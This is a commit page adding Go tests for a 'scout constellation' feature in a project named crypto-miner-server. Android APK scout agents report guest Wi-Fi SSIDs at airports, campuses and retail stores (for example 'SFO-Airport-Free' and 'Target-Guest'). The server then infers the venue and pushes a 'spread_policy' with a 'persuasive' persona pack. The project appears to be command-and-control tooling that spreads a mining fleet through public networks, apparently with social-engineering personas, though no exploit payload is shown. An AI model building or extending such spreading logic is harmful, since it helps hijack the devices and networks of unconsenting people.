Add scout constellation mode for APK venue persona packs.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.
This commit is contained in:
137
server/internal/api/scout_constellation_test.go
Normal file
137
server/internal/api/scout_constellation_test.go
Normal file
@@ -0,0 +1,137 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
fleetai "crypto-miner-server/internal/ai"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
func TestScoutConstellationFormsAndPushesSpreadPolicy(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
hub := NewWSHub(database)
|
||||
ssid := "SFO-Airport-Free"
|
||||
now := time.Now().UTC()
|
||||
for i, id := range []string{"scout-a", "scout-b", "scout-c"} {
|
||||
if err := database.UpsertAgent(&models.Agent{
|
||||
ID: id, Name: id, Platform: "android", Status: "online",
|
||||
IP: "127.0.0.1", LastSeen: now,
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
hub.ingestScoutConstellationReport(id, ssid, 18+i)
|
||||
}
|
||||
|
||||
snapshot := hub.scoutConstellationSnapshot()
|
||||
if len(snapshot) != 1 {
|
||||
t.Fatalf("constellations=%d", len(snapshot))
|
||||
}
|
||||
if snapshot[0].VenueClass != fleetai.VenueAirport {
|
||||
t.Fatalf("venue=%q", snapshot[0].VenueClass)
|
||||
}
|
||||
if snapshot[0].PersonaPack != fleetai.PersonaPersuasive {
|
||||
t.Fatalf("persona=%q", snapshot[0].PersonaPack)
|
||||
}
|
||||
|
||||
policy := hub.scoutSpreadPolicyForAuth("scout-a")
|
||||
if policy == nil {
|
||||
t.Fatal("missing spread policy for scout in constellation")
|
||||
}
|
||||
if policy["persona_pack"] != fleetai.PersonaPersuasive {
|
||||
t.Fatalf("policy persona=%v", policy["persona_pack"])
|
||||
}
|
||||
if policy["venue_class"] != fleetai.VenueAirport {
|
||||
t.Fatalf("policy venue=%v", policy["venue_class"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestScoutConstellationRESTEndpoint(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
hub := NewWSHub(database)
|
||||
hub.ingestScoutConstellationReport("scout-1", "Campus-WiFi", 10)
|
||||
hub.ingestScoutConstellationReport("scout-2", "Campus-WiFi", 11)
|
||||
hub.ingestScoutConstellationReport("scout-3", "Campus-WiFi", 12)
|
||||
|
||||
handler := NewScoutConstellationHandler(hub)
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/scout/constellations", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
handler.GetConstellations(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var body struct {
|
||||
Constellations []fleetai.ScoutConstellation `json:"constellations"`
|
||||
}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(body.Constellations) != 1 {
|
||||
t.Fatalf("constellations=%d", len(body.Constellations))
|
||||
}
|
||||
if body.Constellations[0].VenueClass != fleetai.VenueCampus {
|
||||
t.Fatalf("venue=%q", body.Constellations[0].VenueClass)
|
||||
}
|
||||
}
|
||||
|
||||
func TestScoutReportWSIngestsSSID(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
hub := NewWSHub(database)
|
||||
scoutID := "apk-scout-ws"
|
||||
if err := database.UpsertAgent(&models.Agent{
|
||||
ID: scoutID, Name: "tablet", Platform: "android", Status: "online",
|
||||
IP: "127.0.0.1", LastSeen: time.Now(),
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
conn, _ := dialAgentWS(t, hub)
|
||||
_ = authAgentConn(t, conn, map[string]interface{}{
|
||||
"agent_id": scoutID, "hostname": "tablet", "platform": "android", "version": "test",
|
||||
})
|
||||
|
||||
payload, _ := json.Marshal(map[string]interface{}{
|
||||
"scout_mode": true, "ssid": "Target-Guest", "join_lane": "docker", "service_count": 6,
|
||||
})
|
||||
if err := conn.WriteJSON(Message{Type: "scout_report", Payload: payload}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
time.Sleep(50 * time.Millisecond)
|
||||
|
||||
c := hub.scoutConstellationForAgent(scoutID)
|
||||
if c != nil {
|
||||
t.Fatal("single scout should not form constellation yet")
|
||||
}
|
||||
|
||||
for _, id := range []string{"scout-2", "scout-3"} {
|
||||
hub.ingestScoutConstellationReport(id, "Target-Guest", 5)
|
||||
}
|
||||
hub.ingestScoutConstellationReport(scoutID, "Target-Guest", 6)
|
||||
|
||||
c = hub.scoutConstellationForAgent(scoutID)
|
||||
if c == nil {
|
||||
t.Fatal("expected constellation after third scout")
|
||||
}
|
||||
if c.VenueClass != fleetai.VenueRetail {
|
||||
t.Fatalf("venue=%q", c.VenueClass)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user